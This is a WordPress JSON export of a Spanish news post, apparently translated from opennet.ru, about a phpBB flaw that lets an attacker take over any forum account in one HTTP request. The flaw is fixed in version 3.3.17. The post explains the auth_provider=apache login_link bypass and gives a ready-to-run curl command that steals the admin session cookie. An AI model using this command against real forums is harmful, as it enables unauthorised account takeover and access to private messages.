{"id":182030,"date":"2026-06-12T02:48:17","date_gmt":"2026-06-12T00:48:17","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii"},"modified":"2026-06-12T02:48:17","modified_gmt":"2026-06-12T00:48:17","slug":"uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/news\/uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii","title":{"rendered":"Vulnerabilidad en phpBB que permite acceder a cualquier cuenta sin autenticaci\u00f3n","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Se ha descubierto una vulnerabilidad en el motor de foros phpBB que permite, a trav\u00e9s del env\u00edo de una sola solicitud HTTP, conectarse a la sesi\u00f3n de cualquier usuario del foro. La vulnerabilidad se manifiesta en la configuraci\u00f3n por defecto de phpBB. El problema ha sido solucionado en la versi\u00f3n phpBB 3.3.17.<\/p>\n

En un ataque a usuarios normales, se puede acceder a la correspondencia privada y la posibilidad de enviar mensajes en nombre del usuario. En un ataque a moderadores y administradores, se pueden eliminar mensajes ajenos, ver IP<\/a> y correo electr\u00f3nico, leer la correspondencia privada, pero no se puede acceder a la interfaz de administrador ni obtener acceso al servidor. <\/p>\n

No se proporcionan detalles sobre la vulnerabilidad, pero utilizando IA, se ha recreado un m\u00e9todo de explotaci\u00f3n basado en la llamada al manejador «login_link» estableciendo el m\u00e9todo de autenticaci\u00f3n «auth_provider=apache» y sustituyendo el inicio de sesi\u00f3n mediante Basic Auth, tras lo cual PHP establecer\u00e1 la variable de entorno «PHP_AUTH_USER=inicio_de_sesi\u00f3n», y phpBB extraer\u00e1 de ella el nombre de usuario sin verificar la contrase\u00f1a. Por ejemplo, para obtener el identificador de sesi\u00f3n del usuario admin y guardarlo en el archivo cookies.txt se puede ejecutar el siguiente c\u00f3digo:<\/p>\n

curl -i -s \
\n -c cookies.txt \
\n -b cookies.txt \
\n -u ‘admin:cualquier_cosa’ \
\n -d ‘login=Login&login_username=admin&login_password=cualquier_cosa’ \
\n ‘https:\/\/target.example\/forum\/ucp.php?mode=login_link&auth_provider=apache&login_link_any=1’
\n
Fuente: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u043c \u0434\u0432\u0438\u0436\u043a\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u0443\u043c\u043e\u0432 phpBB \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u043e\u0434\u043d\u043e\u0433\u043e HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0430\u043d\u0441\u0443 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0444\u043e\u0440\u0443\u043c\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 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\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u043c\u043e\u0434\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":8,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-182030","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilidad en phpBB que permite acceder a cualquier cuenta sin autenticaci\u00f3n | ProHoster","description":"Se ha descubierto una vulnerabilidad en el motor de foros phpBB que permite, a trav\u00e9s del env\u00edo de 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